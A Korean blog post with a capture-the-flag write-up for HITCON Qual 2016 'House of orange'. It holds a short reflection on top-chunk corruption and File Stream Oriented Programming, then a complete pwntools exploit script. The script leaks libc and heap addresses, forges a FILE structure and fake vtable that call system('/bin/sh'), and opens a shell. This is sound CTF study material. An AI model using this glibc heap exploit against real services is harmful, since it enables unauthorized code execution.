cdor1's lab
HITCON Qual 2016 House of orange 본문
후기 : 짱어렵다.. file pointer를 덮어써서 malloc 커럽션날때 불러오는 구조체를 overwrite해서 공격하는 것도 그렇고
free가 없어서 top chunk의 크기를 overwrite한 뒤 이를 연계해 sysmalloc이 old_top을 free하는 방법으로 libc와 heap address를 leak해내는 것도 있었다.
점점 내가 생각했던 레벨보다 점점 더 로우레벨단에서 익스플로잇이 진행되는 것 같다... free가 없으면 만들어서 공격하고...
이렇게 file pointer를 건들여서 쉘을 얻는 방법을 File Stream Oriented Programming이라 하는데
pie와 full relro가 걸려있는 프로그램에서는 이 기법을 많이 사용하는 것 같으니 이 방법에 대해서도 많이 연구해 봐야겠다.
(마지막 file pointer 덮는 payload 부분은 문제 출제자의 write-up을 참고했다)
from pwn import *
s = remote('localhost', 4000)
elf = ELF('/home/cdor1/pwnable/houseoforange')
def build(length, name, price, color):
print s.recvuntil('Your choice : ')
s.sendline('1')
print s.recvuntil('Length of name :')
s.sendline(str(length))
print s.recvuntil('Name :')
s.sendline(name)
print s.recvuntil('Price of Orange:')
s.sendline(str(price))
print s.recvuntil('Color of Orange:')
s.sendline(str(color))
def see():
print s.recvuntil('Your choice : ')
s.sendline('2')
def upgrade(length, name, price, color):
print s.recvuntil('Your choice : ')
s.sendline('3')
print s.recvuntil('Length of name :')
s.sendline(str(length))
print s.recvuntil('Name:')
s.sendline(name)
print s.recvuntil('Price of Orange: ')
s.sendline(str(price))
print s.recvuntil('Color of Orange: ')
s.sendline(str(color))
build(0x80, 'AAAA', 100, 2)
fake_top = 'A'*0xA8
fake_top += p64(0xf31)
upgrade(0xb1, fake_top, 100, 2)
build(0x1000, 'AAAA', 100, 2)
build(0x400, 'A'*8, 100, 2)
see()
print s.recvuntil('A'*8)
leak = u64(s.recv(6).ljust(8,'\x00'))
libc_base = leak - 0x3bed0a
list_all = libc_base + 0x3c4520
system = libc_base + 0x45390
log.info('leak : ' + hex(leak))
log.info('libc_base : ' + hex(libc_base))
log.info('list_all : ' + hex(list_all))
log.info('system : ' + hex(system))
upgrade(0x400, 'A'*16, 100, 2)
see()
print s.recvuntil('A'*16)
heap = u64(s.recv(6).ljust(8,'\x00')) - 0x10a
vtable = heap + 0x728 - 0xd0
log.info('heap : ' + hex(heap))
log.info('vtable : ' + hex(vtable))
payload = 'A'*0x410
payload += p32(0xdada) + p32(0x20)
payload += p64(0)
fake_file = '/bin/sh\x00' + p64(0x61)
fake_file += p64(0xddaa)
fake_file += p64(list_all - 0x10)
fake_file += fake_file.ljust(0xa0,'\x00')
fake_file += p64(heap + 0x700 - 0xd0)
fake_file += fake_file.ljust(0xc0, '\x00')
fake_file += p64(1)
payload += fake_file
payload += p64(0) * 2
payload += p64(vtable)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(0) * 3
payload += p64(system)
upgrade(0x800, payload, 123, 2)
print s.recvuntil('Your choice : ')
s.sendline('1')
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
Plaid CTF 2015 prodmanager (0) | 2017.01.11 |
---|---|
H3X0R CTF train to busan (0) | 2017.01.11 |
RCTF 2015 shaxian (0) | 2017.01.10 |
Christmas CTF Who is solo (0) | 2017.01.09 |
Belluminar 2016 remuheap (0) | 2017.01.08 |
Comments